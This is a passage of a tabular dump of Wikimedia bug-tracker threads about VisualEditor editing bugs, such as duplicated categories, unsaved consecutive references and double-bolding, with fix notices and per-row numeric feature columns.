**Attached**: {F11679}",,,1375145846,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-alab5hdzxtgqi3cu2eqm,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7142857142857144,0.8928571428571429,"Created attachment 13014
Broken link widget after pressing Ctrl-K on empty page, then exiting

**Attached**: {F11679}"
54238,VisualEditor: categories being duplicated,"See https://sv.wikipedia.org/w/index.php?title=Tjeckiens_president&diff=22846804&oldid=21540497 and https://pl.wikipedia.org/w/index.php?title=Mi%C4%99dzynarodowa_Federacja_Tenisa_Sto%C5%82owego&curid=407381&diff=37148333&oldid=37118048 - no duplication (ahahaha) steps of which I'm aware, I'm afraid.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54169",High,80.0,1375125960,1375223654.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-rqtkbfxffdpbdagffzia,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.163265306122449,0.5714285714285714,"See URL and URL - no duplication (ahahaha) steps of which I'm aware, I'm afraid.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
247579,VisualEditor: categories being duplicated,Going out in a little while.,,,1375223654,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rqtkbfxffdpbdagffzia,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,3.2857142857142856,1.0,Going out in a little while.
247574,VisualEditor: categories being duplicated,"Change 76665 merged by jenkins-bot:
Don't duplicate categories when unlisting

https://gerrit.wikimedia.org/r/76665",,,1375223085,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rqtkbfxffdpbdagffzia,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.764705882352941,1.0,"Change 76665 merged by jenkins-bot:
Don't duplicate categories when unlisting

GERRIT_URL"
247569,VisualEditor: categories being duplicated,"Change 76665 had a related patch set uploaded by Catrope:
Don't duplicate categories when unlisting

https://gerrit.wikimedia.org/r/76665",,,1375143043,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rqtkbfxffdpbdagffzia,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,20.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.9,1.0,"Change 76665 had a related patch set uploaded by Catrope:
Don't duplicate categories when unlisting

GERRIT_URL"
247565,VisualEditor: categories being duplicated,"Isolated test case:

1. Create a page with ""*Foo\n[[Category:Bar]]\n[[Category:Baz]]""
2. Edit the page in VE
3. Move the cursor to the end of the list item and press enter. This creates a new list item and puts the cursor in it
4. Click the list button (the one that's depressed) in the toolbar. This causes the list item to go away and makes the cursor jump out of the list.
5. Review changes. The diff will duplicate both of the categories at the beginning of the page, preceded by a newline.",,,1375141989,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-rqtkbfxffdpbdagffzia,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,5.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,18.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,12.5,0.0,8.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.5,9.0,2.0,0.0,1.0,0.0,0.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,3.408333333333333,0.6916666666666667,"Isolated test case:

1. Create a page with ""*Foo\n[[Category:Bar]]\n[[Category:Baz]]""
2. Edit the page in VE
3. Move the cursor to the end of the list item and press enter. This creates a new list item and puts the cursor in it
4. Click the list button (the one that's depressed) in the toolbar. This causes the list item to go away and makes the cursor jump out of the list.
5. Review changes. The diff will duplicate both of the categories at the beginning of the page, preceded by a newline."
247561,VisualEditor: categories being duplicated,http://youtu.be/1rmp5rTDPOM,,,1375127596,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-rqtkbfxffdpbdagffzia,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
54228,VisualEditor: VE will not save multiple consecutive references,"Following a report of the issue by a user, I attempted to add multiple consecutive references. I began with bare URLs and started with 6. You can see that VE thinks it is going okay (http://en.wikipedia.org/wiki/File:VEmultiref.png), but when you save it only saves one (http://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29%2Fsandbox&diff=566304458&oldid=566304152)

I tested it all the way down to two.

In case it was an issue with bare refs, I tried it using citation templates, and it would also not save two in a row. It still only saved one:
http://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29%2Fsandbox&diff=566306613&oldid=566306049

I'm using Chrome, Windows 7.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1375117380,1377824944.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-uxrs32aphojxiommp53x,task_description,resolved,True,c1,3,False,False,True,4,,0.5,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,1.5,0.0,3.0,0.0,4.5,5.0,0.0,0.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.5,1.0,0.0,3.0,1.0,4.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.5,1.5,11.5,0.5,2.0,4.5,0.0,0.0,0.0,0.0,2.0,0.5,4.0,0.0,9.0,5.0,4.0,0.0,0.0,0.0,9.0,0.0,0.5,2.5,0.0,2.5,0.0,0.0,0.0,3.4399641577060933,0.743599590373784,"Following a report of the issue by a user, I attempted to add multiple consecutive references. I began with bare URLs and started with 6. You can see that VE thinks it is going okay (URL but when you save it only saves one (URL

I tested it all the way down to two.

In case it was an issue with bare refs, I tried it using citation templates, and it would also not save two in a row. It still only saved one:
URL

I'm using Chrome, Windows 7.

--------------------------
**Version**: unspecified
**Severity**: normal"
247096,VisualEditor: VE will not save multiple consecutive references,"(In reply to comment #6)
> Users are reporting that VE is still not saving multiple references:

Unfortunately, this is ""again"", not ""still"", and is caused by bug 53434 in Parsoid, I think. :-( Marking this as ""fixed"" but highlighting on that one how urgent this is. Sorry for the disruption.",,,1377824944,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,12.0,2.0,3.0,9.0,0.0,0.0,0.0,2.0,2.0,2.0,3.0,0.0,2.0,12.0,2.0,0.0,10.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.2758620689655173,0.7586206896551724,"(In reply to comment #6)
QUOTE

Unfortunately, this is ""again"", not ""still"", and is caused by bug 53434 in Parsoid, I think. :-( Marking this as ""fixed"" but highlighting on that one how urgent this is. Sorry for the disruption."
247090,VisualEditor: VE will not save multiple consecutive references,"Users are reporting that VE is still not saving multiple references:

Reported today by The Devil's Advocate
if I add multiple citations to back a statement, the Visual Editor only saves the first citation I added. This happened once when I added three citations to back a claim and had to add each one individually over the course of three edits and again just now when I had to add a second citation after it didn't get saved. Multiple citations can be added if they are separate as I had added a citation for another statement in the same edit and it was saved.

Reported on the 22nd by Sue Gardner
Last night I created a new article with multiple references, and when I saved the page many of the references disappeared and some I think had jumped around. (I didn't save-as-I-went -- I wrote the whole thing and saved once, at the end.) I can't describe exactly what happened, but here's a diff: [1] the latest revision [2] is roughly what I was aiming to do, and the earlier revision [3] is what I actually achieved. (Ignore the missing reflist: I just hadn't gotten around to figuring out how to add it in VE yet, so I did it afterwards in wiki syntax.)

So, in my initial VE save, it looks like references #5, 6 & 7 disappeared as did #14 and 15. (Numbers taken from the latest revision.) This suggests to me there's a problem with VE saving multiple adjacent references -- when there are multiples adjacent, it seems to save only the first. I think also some references jumped around, but I'm not 100% sure about that.

[1] https://en.wikipedia.org/w/index.php?title=Mansplaining&diff=569638597&oldid=569526861
[2] https://en.wikipedia.org/w/index.php?title=Mansplaining&oldid=569638597
[3] https://en.wikipedia.org/w/index.php?title=Mansplaining&oldid=569526861",,,1377597258,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,False,,,8,,1.0,0.0,0.0,0.5,1.5,5.75,0.25,0.0,0.0,0.5,1.75,1.25,0.0,0.5,0.5,5.0,0.0,8.5,8.75,0.0,1.75,0.0,0.0,0.0,6.0,0.0,0.0,0.75,0.25,0.0,0.25,4.25,0.5,1.5,3.5,0.0,0.25,0.0,0.25,0.25,0.0,0.25,1.75,2.75,0.0,0.25,0.0,0.0,0.25,7.75,0.75,0.0,0.25,0.5,0.0,0.25,0.0,0.75,0.75,0.0,0.75,1.25,0.0,0.25,0.0,0.0,0.0,5.5,2.25,10.75,2.0,2.75,7.5,0.0,0.0,0.0,0.5,3.25,0.0,3.5,0.0,7.0,8.75,2.25,0.0,0.0,0.0,7.0,0.0,2.0,1.75,0.25,1.5,0.25,0.5,1.5,3.597261235955056,0.7259959141981613,"Users are reporting that VE is still not saving multiple references:

Reported today by The Devil's Advocate
if I add multiple citations to back a statement, the Visual Editor only saves the first citation I added. This happened once when I added three citations to back a claim and had to add each one individually over the course of three edits and again just now when I had to add a second citation after it didn't get saved. Multiple citations can be added if they are separate as I had added a citation for another statement in the same edit and it was saved.

Reported on the 22nd by Sue Gardner
Last night I created a new article with multiple references, and when I saved the page many of the references disappeared and some I think had jumped around. (I didn't save-as-I-went -- I wrote the whole thing and saved once, at the end.) I can't describe exactly what happened, but here's a diff: [1] the latest revision [2] is roughly what I was aiming to do, and the earlier revision [3] is what I actually achieved. (Ignore the missing reflist: I just hadn't gotten around to figuring out how to add it in VE yet, so I did it afterwards in wiki syntax.)

So, in my initial VE save, it looks like references #5, 6 & 7 disappeared as did #14 and 15. (Numbers taken from the latest revision.) This suggests to me there's a problem with VE saving multiple adjacent references -- when there are multiples adjacent, it seems to save only the first. I think also some references jumped around, but I'm not 100% sure about that.

[1] URL
[2] URL
[3] URL"
247083,VisualEditor: VE will not save multiple consecutive references,*** Bug 52269 has been marked as a duplicate of this bug. ***,,,1376325366,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52269 has been marked as a duplicate of this bug. ***
247078,VisualEditor: VE will not save multiple consecutive references,Fixed and will get deployed in a little while.,,,1375222413,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Fixed and will get deployed in a little while.
247072,VisualEditor: VE will not save multiple consecutive references,"Change 76836 merged by jenkins-bot:
Remove the DM 'about' attribute from references and reference lists

https://gerrit.wikimedia.org/r/76836",,,1375222340,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.434782608695652,0.9565217391304348,"Change 76836 merged by jenkins-bot:
Remove the DM 'about' attribute from references and reference lists

GERRIT_URL"
247064,VisualEditor: VE will not save multiple consecutive references,"Change 76836 had a related patch set uploaded by Catrope:
Remove the DM 'about' attribute from references and reference lists

https://gerrit.wikimedia.org/r/76836",,,1375221066,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.576923076923077,0.9615384615384616,"Change 76836 had a related patch set uploaded by Catrope:
Remove the DM 'about' attribute from references and reference lists

GERRIT_URL"
247055,VisualEditor: VE will not save multiple consecutive references,"This happens because we send Parsoid something like

<span about=""undefined"" typeof=""mw:Extension/ref"" data-mw=""...""></span><span about=""undefined"" typeof=""mw:Extension/ref"" data-mw=""...""></span>

which then gets about-grouped. We need to just drop the about attribute if we don't have it.

Ironically we've had breakage in the other direction before, where Parsoid output multiple adjacent images with about=""null"". Karma's a bitch :)",,,1375218845,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,False,,,4,,0.0,1.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,5.0,0.0,8.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,6.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,8.0,7.0,0.0,6.0,0.0,6.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,4.386363636363637,0.7272727272727273,"This happens because we send Parsoid something like

<span about=""undefined"" typeof=""mw:Extension/ref"" data-mw=""...""></span><span about=""undefined"" typeof=""mw:Extension/ref"" data-mw=""...""></span>

which then gets about-grouped. We need to just drop the about attribute if we don't have it.

Ironically we've had breakage in the other direction before, where Parsoid output multiple adjacent images with about=""null"". Karma's a bitch :)"
54189,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"+++ This bug was initially created as a clone of Bug #50170 +++

1. Edit [[mw:VisualEditor:Sfioj]] in VE
2. Make a selection such as

     These wor[ds are ve]ry bold

3. Click the ""Bold"" button on the toolbar

The selected text goes extra-bold, in Firefox 22. 

I should mention that in my case, the font is Arial, which has an extra bold ""Arial-Black"" variant.

Basically the same as 50170 except that this is narrower.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1375013460,1395164739.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.5,0.0,10.5,1.5,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,7.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,1.0,0.0,0.0,1.0,8.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,2.5,11.5,2.5,0.0,7.5,0.0,0.0,0.0,0.5,2.5,0.0,4.0,0.0,1.5,7.0,4.0,0.0,2.5,0.0,1.5,0.0,1.0,2.0,0.0,0.0,1.0,0.0,1.5,3.3359375,0.6875,"+++ This bug was initially created as a clone of Bug #50170 +++

1. Edit [[mw:VisualEditor:Sfioj]] in VE
2. Make a selection such as

     These wor[ds are ve]ry bold

3. Click the ""Bold"" button on the toolbar

The selected text goes extra-bold, in Firefox 22. 

I should mention that in my case, the font is Arial, which has an extra bold ""Arial-Black"" variant.

Basically the same as 50170 except that this is narrower.

--------------------------
**Version**: unspecified
**Severity**: normal"
244588,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"Change 119282 merged by jenkins-bot:
Prevent comparable annotations from being applied twice

https://gerrit.wikimedia.org/r/119282",,,1395164666,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.222222222222222,1.0,"Change 119282 merged by jenkins-bot:
Prevent comparable annotations from being applied twice

GERRIT_URL"
244581,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"Change 119282 had a related patch set uploaded by Esanders:
Prevent comparable annotations from being applied twice

https://gerrit.wikimedia.org/r/119282",,,1395148872,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,"Change 119282 had a related patch set uploaded by Esanders:
Prevent comparable annotations from being applied twice

GERRIT_URL"
244574,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"No it isn't: if you follow the STR, you will still see this bug on Firefox 25.",,,1385423957,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,14.0,10.0,10.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9523809523809526,0.9523809523809523,"No it isn't: if you follow the STR, you will still see this bug on Firefox 25."
244567,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"This was the same bug as bug 50170, however; merging.

*** This bug has been marked as a duplicate of bug 50170 ***",,,1385398575,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.032258064516129,0.6451612903225806,"This was the same bug as bug 50170, however; merging.

*** This bug has been marked as a duplicate of bug 50170 ***"
244557,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"(In reply to comment #0)
> this is narrower.

A narrower set of circumstances, not a narrower font!",,,1375092200,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,0.0,0.0,9.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,3.3181818181818183,0.9545454545454546,"(In reply to comment #0)
QUOTE

A narrower set of circumstances, not a narrower font!"
54185,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"**Author:** `jonathan_haas`

**Description:**
To reproduce:

